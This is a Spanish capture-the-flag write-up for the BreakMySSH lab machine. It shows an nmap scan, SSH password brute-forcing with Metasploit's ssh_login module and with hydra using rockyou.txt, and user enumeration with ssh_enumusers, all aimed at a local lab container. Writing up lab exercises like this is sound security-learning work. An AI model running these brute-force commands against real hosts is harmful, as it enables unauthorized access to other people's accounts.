WriteUps BreakMySSH

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh breakmyssh.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 17:20 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000017s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado: El escaneo de puertos reveló un servicio importante:

  • Puerto 22: Servicio SSH abierto.

Fuerza bruta#

Dado que el único puerto abierto era el de SSH, decidí intentar un ataque de fuerza bruta para obtener acceso. Descargué un diccionario de usuarios desde GitHub - hackingyseguridad/diccionariosy utilicé rockyou.txt como lista de contraseñas.

Utilicé el módulo ssh_login de Metasploit para realizar el ataque:

BASH
1
2
msfconsole
use auxiliary/scanner/ssh/ssh_login

Configuré el diccionario de usuarios descargado y el archivo de contraseñas rockyou.txt:

BASH
1
2
3
SET USER_FILE /usr/share/wordlists/users.txt
SET PASS_FILE /usr/share/wordlists/rockyou.txt
SET RHOSTS 172.17.0.2

Luego ejecuté el exploit:

BASH
1
run

Resultado: Después de un rato, Metasploit encontró las credenciales del usuario root.

BASH
1
[+] 172.17.0.2:22 - Success: 'root:xxxxxxxx'

Usuario lovely#

Una vez conectado como root, exploré el sistema para descubrir si había otros usuarios. Navegué al directorio /home y encontré un usuario llamado lovely.

pwnedBreakmyssh.png

Sabiendo que existía el usuario lovely, realicé un ataque de fuerza bruta utilizando hydra para intentar obtener acceso:

BASH
1
hydra -l lovely -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

Resultado: Hydra encontró la contraseña del usuario lovely rápidamente, permitiéndome conectarme al sistema mediante SSH.

Enumeración de usuarios#

Reflexionando sobre el proceso, me di cuenta de que el paso adecuado habría sido primero enumerar los usuarios existentes en el sistema antes de realizar la fuerza bruta. Utilicé el módulo ssh_enumusers de Metasploit para enumerar los usuarios:

BASH
1
2
3
4
use auxiliary/scanner/ssh/ssh_enumusers
SET RHOSTS 172.17.0.2
SET USER_FILE /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
run

Resultado: El módulo enumeró varios usuarios, incluyendo lovely, lo cual confirmó mi sospecha inicial.

Aprendizaje#

La máquina Breakmyssh demostró la importancia de realizar una buena enumeración antes de proceder con ataques más agresivos como la fuerza bruta. Enumerar usuarios primero puede ahorrar tiempo y ayudar a reducir el ámbito del ataque. Este ejercicio también subraya la importancia de la protección de credenciales mediante contraseñas robustas y la restricción de accesos innecesarios.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh breakmyssh.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Fuerza bruta SSH con Metasploit:
    BASH
    1
    2
    3
    4
    5
    6
    msfconsole
    use auxiliary/scanner/ssh/ssh_login
    SET USER_FILE /usr/share/wordlists/users.txt
    SET PASS_FILE /usr/share/wordlists/rockyou.txt
    SET RHOSTS 172.17.0.2
    run
    
  4. Fuerza bruta SSH para el usuario lovely:
    BASH
    1
    hydra -l lovely -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
    
  5. Enumeración de usuarios con Metasploit:
    BASH
    1
    2
    3
    4
    use auxiliary/scanner/ssh/ssh_enumusers
    SET RHOSTS 172.17.0.2
    SET USER_FILE /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
    run